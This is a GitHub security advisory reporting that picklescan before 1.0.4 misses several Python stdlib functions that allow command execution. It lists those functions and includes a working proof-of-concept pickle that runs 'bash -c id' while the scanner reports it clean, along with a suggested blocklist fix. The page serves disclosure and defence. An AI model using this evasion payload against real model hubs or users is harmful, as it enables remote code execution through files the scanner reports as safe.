Skip to content

PickleScan has multiple stdlib modules with direct RCE not in blocklist

Critical severity GitHub Reviewed Published Mar 2, 2026 in mmaitre314/picklescan • Updated Mar 3, 2026

Package

pip picklescan (pip)

Affected versions

< 1.0.4

Patched versions

1.0.4

Description

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

Module Function RCE Mechanism picklescan Result
uuid _get_command_stdout(cmd, *args) subprocess.Popen((cmd,) + args) CLEAN
_osx_support _read_output(cmdstring) os.system() via temp file CLEAN
_osx_support _find_build_tool(toolname) Command injection via %s CLEAN
_aix_support _read_cmd_output(cmdstring) os.system() CLEAN
_pyrepl.pager pipe_pager(text, cmd) subprocess.Popen(cmd, shell=True) CLEAN
_pyrepl.pager tempfile_pager(text, cmd) os.system(cmd + ...) CLEAN
imaplib IMAP4_stream(command) subprocess.Popen(command, shell=True) CLEAN
test.support.script_helper assert_python_ok(*args) Spawns python subprocess CLEAN

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

  • uuid — not blocked
  • _osx_support — not blocked
  • _aix_support — not blocked
  • _pyrepl — not blocked
  • _pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
  • imaplib — not blocked
  • test — not blocked
  • test.support — not blocked
  • test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

  • picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
  • picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

  • HuggingFace Hub — uses picklescan server-side to scan uploaded model files
  • ML pipelines — any CI/CD or loading pipeline using picklescan
  • Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:

  1. Switching to an allowlist (default-deny) for permitted globals
  2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)

Resources

  • picklescan source: scanner.py lines 120-219 (_unsafe_globals)
  • Python source: Lib/uuid.py, Lib/_osx_support.py, Lib/_aix_support.py, Lib/_pyrepl/pager.py, Lib/imaplib.py

References

@mmaitre314 mmaitre314 published to mmaitre314/picklescan Mar 2, 2026
Published to the GitHub Advisory Database Mar 3, 2026
Reviewed Mar 3, 2026
Last updated Mar 3, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-g38g-8gr9-h9xp

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.